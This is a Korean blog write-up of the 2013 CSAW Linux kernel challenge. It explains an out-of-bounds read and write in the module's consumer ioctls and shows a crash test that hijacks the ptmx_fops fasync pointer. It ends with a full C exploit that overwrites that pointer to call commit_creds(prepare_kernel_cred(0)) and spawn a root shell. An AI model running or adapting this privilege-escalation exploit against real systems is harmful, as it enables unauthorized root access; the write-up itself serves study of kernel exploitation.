이번에 커널 디버깅 환경도 맞췄겠다, 커널 익스플로잇에 대한 케이스 스터디와 감을 익히기 위해서 문제를 몇 가지 풀어보기로 결정했다.
처음에는 일단 CSAW에서 2013년도에 나온 커널 챌린지를 풀어볼까 한다.
취약점은 2가지가 존재한다, 첫 번째는 OOB로 인한 Arbitrary Memory Overwrite
두 번째는 Memory Leak이다. 먼저 Memory Leak은 다음 코드에서 일어난다.
case CSAW_GET_CONSUMER: { struct consumer_args consumer_args; struct csaw_buf *cbuf; unsigned int i, authorized = 0; printk(KERN_INFO "CSAW_GET_CONSUMER\n"); if ( copy_from_user(&consumer_args, argp, sizeof(consumer_args)) ) return -EFAULT; cbuf = find_cbuf(consumer_args.handle); if ( ! cbuf ) return -EINVAL; for ( i = 0; i < MAX_CONSUMERS; i++ ) if ( current->pid == cbuf->consumers[i] ) authorized = 1; if ( ! authorized ) return -EPERM; consumer_args.pid = cbuf->consumers[consumer_args.offset]; if ( copy_to_user(argp, &consumer_args, sizeof(consumer_args)) ) return -EFAULT; break; } |
취약점의 발생 원인은 consumer_args의 pid를 사용자가 넘겨준 consumer_args.offset을 통해 지정해주면서 발생한다. 이때문에 다음 구조체
#define MAX_CONSUMERS 255 struct csaw_buf { unsigned long consumers[MAX_CONSUMERS]; char *buf; unsigned long size; unsigned long seed; struct list_head list; }; |
에서는 MAX_CONSUMERS다음에 있는 buf를 읽을 수 있게 되고 이에 따라서 현재 만들어진 랜덤 seed가 뭔지도 알 수 있게 된다.
OOB를 통한 memory overwrite취약점은 다음 위치에 있는데
case CSAW_SET_CONSUMER: { struct consumer_args consumer_args; struct csaw_buf *cbuf; unsigned int i, authorized = 0; printk(KERN_INFO "CSAW_SET_CONSUMER\n"); if ( copy_from_user(&consumer_args, argp, sizeof(consumer_args)) ) return -EFAULT; cbuf = find_cbuf(consumer_args.handle); if ( ! cbuf ) return -EINVAL; for ( i = 0; i < MAX_CONSUMERS; i++ ) if ( current->pid == cbuf->consumers[i] ) authorized = 1; if ( ! authorized ) return -EPERM; cbuf->consumers[consumer_args.offset] = consumer_args.pid; break; } |
SET_CONSUMER를 진행할 때, 마찬가지로 buf라는 포인터에 우리가 입력할 수 있는 unsigned long 타입의 pid를 적을 수 있게 되면서 취약점이 발생한다.
이렇게 되면 4바이트의 메모리 값을 바꾸는 것이 가능해지는데, 어딜 바꿀지가 가장 큰 관건이다.
나는 그래서 kallsyms에서 fops를 가진 녀석들을 한번 나열해봤다.
root@debugging-machine:/home/test# cat /proc/kallsyms | grep "fops" c10267a0 t fake_panic_fops_open c11230e0 t fault_around_bytes_fops_open c1253750 t fops_u8_open c1253770 t fops_u8_wo_open c1253790 t fops_u8_ro_open c12537b0 t fops_u16_open c12537d0 t fops_u16_wo_open c12537f0 t fops_u16_ro_open c1253810 t fops_u32_open c1253830 t fops_u32_wo_open c1253850 t fops_u32_ro_open c1253870 t fops_u64_open c1253890 t fops_u64_wo_open c12538b0 t fops_u64_ro_open c12538d0 t fops_x8_open c12538f0 t fops_x8_wo_open c1253910 t fops_x8_ro_open c1253930 t fops_x16_open c1253950 t fops_x16_wo_open c1253970 t fops_x16_ro_open c1253990 t fops_x32_open c12539b0 t fops_x32_wo_open c12539d0 t fops_x32_ro_open c12539f0 t fops_x64_open c1253a10 t fops_size_t_open c1253a30 t fops_atomic_t_open c1253a50 t fops_atomic_t_wo_open c1253a70 t fops_atomic_t_ro_open c1340b60 T tty_default_fops c1367b00 t port_fops_fasync c1367e80 t port_fops_poll c1367fd0 t port_fops_read c1369420 t port_fops_splice_write c1369540 t port_fops_write c1369780 t port_fops_release c1369810 t port_fops_open c13b33a0 t i915_fbc_fc_fops_open c13b33c0 t i915_next_seqno_fops_open c13b33e0 t i915_drop_caches_fops_open c13b3400 t i915_ring_test_irq_fops_open c13b3420 t i915_ring_missed_irq_fops_open c13b3440 t i915_ring_stop_fops_open c13b3460 t i915_cache_sharing_fops_open c13b3480 t i915_min_freq_fops_open c13b34a0 t i915_max_freq_fops_open c13b34c0 t i915_wedged_fops_open root@debugging-machine:/home/test# |
중간에 tty_default_fops라는 녀석이 보인다. 사실 실제 접근 방법은 블랙펄 시큐리티를 참고 많이했는데, 내 경우에는 kallsyms에 ptmx가 없어서 다른 방법으로 접근할 필요가 있었다.
tty_default_fops는 tty 디바이스에 대한 디폴트로 지정된 file_operations 구조체를 원하는 위치에 복사해주고 지정해주는 역할을 하는 함수인데
원형은 이렇게 생겼다. 그럼 여기서 tty_fops로 직접 가서 실제로 어떤 기능들을 포함하고 있는지 살펴보자, 당연히 read, write, open, release는 기본 옵션일 것이다.
하지만 이 녀석들을 섣불리 건드렸다가는 터미널 상에서 중대한 문제가 발생할 가능성이 있기에.. 실제로 어떤 operation들을 포함하는지 볼 필요가 있다.
눈에 띄는 녀석들은 llseek, poll, fasync 정도가 있다. 이 중에서 fasync는 일반적으로 쓸일이 많이 없는데, 이는 어떤 명령이냐면
http://chammoru.egloos.com/v/4183377
시그널을 처리하기 위한 녀석 정도로 해석할 수 있나보다.
실제로 tty_default_fops는 ptmx_fops에서 사용이 되고 있었는데, 이는 /dev/ptmx에 쓰고 읽을 때 사용되는 file operation 구조체로, 실제로 메모리 상의 ptmx_fops의 구조체를 찾아서 직접 확인해보면 다음과 같은 구조를 가지고 있다.
(gdb) x/10wx 0xc1340b60+0x8c6e64-68 0xc1c07980 <ptmx_fops>: 0x00000000 0xc1143030 0xc133e730 0xc133e7f0 0xc1c07990 <ptmx_fops+16>: 0x00000000 0x00000000 0x00000000 0xc133e6b0 0xc1c079a0 <ptmx_fops+32>: 0xc133ee90 0x00000000 (gdb) 0xc1c079a8 <ptmx_fops+40>: 0x00000000 0x00000000 0xc13480c0 0x00000000 0xc1c079b8 <ptmx_fops+56>: 0xc133fbf0 0x00000000 0x00000000 0x08048bc4 0xc1c079c8 <ptmx_fops+72>: 0x00000000 0x00000000 (gdb) |
이 메모리 덤프 상태는 내가 이미 익스플로잇을 진행한 상황이라 중간에 0x08048bc4라는 유저모드 메모리 주소가 적혀있다. 저 부분이 fasync에 대한 함수 포인터..
만약 저 부분을 0x41414141로 바꾼 다음에 /dev/ptmx를 fasync로 불러주면 어떻게 되는지 한번 보도록 하자.
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
int main()
{
char byte;
int fd = open("/dev/ptmx", O_RDWR);
fcntl(fd, F_SETFL, FASYNC);
return 0;
}
실행!!
root@debugging-machine:~# ./tty_test
Message from syslogd@debugging-machine at Aug 4 08:48:11 ...
kernel:[17295.196425] CPU: 0 PID: 4172 Comm: tty_test Tainted: G D O 4.1.24 #1
Message from syslogd@debugging-machine at Aug 4 08:48:11 ...
kernel:[17295.196425] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
Killed
Message from syslogd@debugging-machine at Aug 4 08:48:11 ...
kernel:[17295.196425] Stack:
Message from syslogd@debugging-machine at Aug 4 08:48:11 ...
kernel:[17295.196425] c1153f23 21b60000 f6b1dce8 00000003 f61c9480 f61c9480 00000004 f6385fac
Message from syslogd@debugging-machine at Aug 4 08:48:11 ...
kernel:[17295.196425] c115413b f61c9480 00000003 00002000 00000003 00000000 b76f2ff4 f6384000
root@debugging-machine:~#
Message from syslogd@debugging-machine at Aug 4 08:48:11 ...
kernel:[17295.196425] c17d3fba 00000003 00000004 00002000 00000000 b76f2ff4 bfc2bf68 000000dd
Message from syslogd@debugging-machine at Aug 4 08:48:11 ...
kernel:[17295.196425] Call Trace:
Message from syslogd@debugging-machine at Aug 4 08:48:11 ...
kernel:[17295.196425] [<c1153f23>] ? do_fcntl+0x383/0x470
Message from syslogd@debugging-machine at Aug 4 08:48:11 ...
kernel:[17295.196425] [<c115413b>] SyS_fcntl64+0x8b/0xf0
Message from syslogd@debugging-machine at Aug 4 08:48:11 ...
kernel:[17295.196425] [<c17d3fba>] syscall_call+0x7/0x7
Message from syslogd@debugging-machine at Aug 4 08:48:11 ...
kernel:[17295.196425] Code: Bad EIP value.
Message from syslogd@debugging-machine at Aug 4 08:48:11 ...
kernel:[17295.196425] EIP: [<41414141>] 0x41414141 SS:ESP 0068:f6385f70
보다시피 EIP가 41414141로 바뀐 것을 볼 수 있다. 이에 따라 해당 영역을 바꾼 다음에 /dev/ptmx에서 fasync를 불러주면 우리가 원하는대로 흐름을 바꾸는 것이 가능하다.
$ id
uid=1000(test) gid=1000(test) groups=1000(test)
$ ./call_ioctl
Handle : 0x838946cc
PID : 0xf63eef00
Seed : 0x75b7a9cc
[+] Resolved commit_creds to 0xc1065f90
[+] Resolved prepare_kernel_cred to 0xc1066240
[+] Resolved tty_default_fops to 0xc1340b60
commit_creds() : 0xc1065f90
prepare_kernel_cred() : 0xc1066240
tty_default_fops TABLE : 0xc1340b60
# id
uid=0(root) gid=0(root) groups=0(root)
#
전체 페이로드
#include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <string.h> #include <sys/ioctl.h> #include <sys/utsname.h> #define CSAW_IOCTL_BASE 0x77617363 #define CSAW_ALLOC_HANDLE CSAW_IOCTL_BASE+1 #define CSAW_READ_HANDLE CSAW_IOCTL_BASE+2 #define CSAW_WRITE_HANDLE CSAW_IOCTL_BASE+3 #define CSAW_GET_CONSUMER CSAW_IOCTL_BASE+4 #define CSAW_SET_CONSUMER CSAW_IOCTL_BASE+5 #define CSAW_FREE_HANDLE CSAW_IOCTL_BASE+6 #define CSAW_GET_STATS CSAW_IOCTL_BASE+7 struct alloc_args { unsigned long size; unsigned long handle; }; struct read_args { unsigned long handle; unsigned long size; void *out; }; struct write_args { unsigned long handle; unsigned long size; void *in; }; struct consumer_args { unsigned long handle; unsigned long pid; unsigned char offset; }; unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) goto fallback; oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') p--; *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, "[+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); fclose(f); return addr; } } fclose(f); if (rep) return 0; fallback: uname(&ver); if (strncmp(ver.release, "2.6", 3)) oldstyle = 1; sprintf(sname, "/boot/System.map-%s", ver.release); f = fopen(sname, "r"); if (f == NULL) return 0; rep = 1; goto repeat; } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); unsigned long commit_creds; unsigned long prepare_kernel_cred; unsigned long tty_default_fops; int privilege_evaluation(int fd, struct file *filp, int on) { _commit_creds commit = (_commit_creds) commit_creds; _prepare_kernel_cred prepare = (_prepare_kernel_cred) prepare_kernel_cred; commit(prepare(0)); return 0; } void generate_kallsyms() { commit_creds = get_kernel_sym("commit_creds"); prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred"); tty_default_fops = get_kernel_sym("tty_default_fops"); printf("commit_creds() : 0x%x\n", commit_creds); printf("prepare_kernel_cred() : 0x%x\n", prepare_kernel_cred); printf("tty_default_fops TABLE : 0x%x\n", tty_default_fops); return; } unsigned long get_consumer(int fd, unsigned long handle, unsigned long pid, unsigned char offset) { unsigned long pid_ = 0; struct consumer_args *consumer; consumer = (struct consumer_args *)malloc(sizeof(struct consumer_args)); consumer->handle = handle; consumer->pid = pid; consumer->offset = offset; ioctl(fd, CSAW_GET_CONSUMER, consumer); pid_ = consumer->pid; free(consumer); return pid_; } void set_consumer(int fd, unsigned long handle, unsigned long pid, unsigned char offset) { struct consumer_args *consumer; consumer = (struct consumer_args *)malloc(sizeof(struct consumer_args)); consumer->handle = handle; consumer->pid = pid; consumer->offset = offset; ioctl(fd, CSAW_SET_CONSUMER, consumer); free(consumer); } void read_handle(int fd, unsigned long handle, unsigned long size, void *bufferAddr) { struct read_args read_arg; read_arg.handle = handle; read_arg.size = size; read_arg.out = bufferAddr; ioctl(fd, CSAW_READ_HANDLE, &read_arg); } void write_handle(int fd, unsigned long handle, unsigned long size, void *bufferAddr) { struct write_args write_arg;
write_arg.handle = handle; write_arg.size = size; write_arg.in = bufferAddr;
ioctl(fd, CSAW_WRITE_HANDLE, &write_arg); } int main() { int fd, ptmx; char buf[1024], byte; struct alloc_args alloc_args; unsigned long pid_ = 0; unsigned long seed = 0, target = 0; unsigned long handleValue = 0; fd = open("/dev/csaw", O_RDONLY); ptmx = open("/dev/ptmx", O_RDWR); memset(&alloc_args, 0, sizeof(alloc_args)); alloc_args.size = 256; ioctl(fd,CSAW_ALLOC_HANDLE,&alloc_args); printf("Handle : 0x%x\n", alloc_args.handle); pid_ = get_consumer(fd, alloc_args.handle, getpid(), 255); printf("PID : 0x%x\n", pid_); seed = alloc_args.handle ^ pid_; printf("Seed : 0x%x\n", seed); generate_kallsyms(); handleValue = ((tty_default_fops + 0x8c6e64) ^ seed); set_consumer(fd, alloc_args.handle, (tty_default_fops + 0x8c6e64), 255); target = (unsigned long *)privilege_evaluation; write_handle(fd, handleValue, 4, (void *)&target); fcntl(ptmx, F_SETFL, FASYNC); if (getuid()) { printf("Failed..\n"); exit(1); } execve("/bin/sh", NULL, NULL); return 0; } |
'Kernel > Hacking' 카테고리의 다른 글
CVE-2017-7308 Flow 분석 (0) | 2018.08.19 |
---|---|
CVE-2017-7308 분석 블로그 번역 (0) | 2018.08.16 |
Kernel Exploit Challenge - #2 (0) | 2018.08.08 |
Debugging x86_64 (0) | 2018.08.06 |
커널 모듈에 브레이크 포인트 걸기 (0) | 2018.08.03 |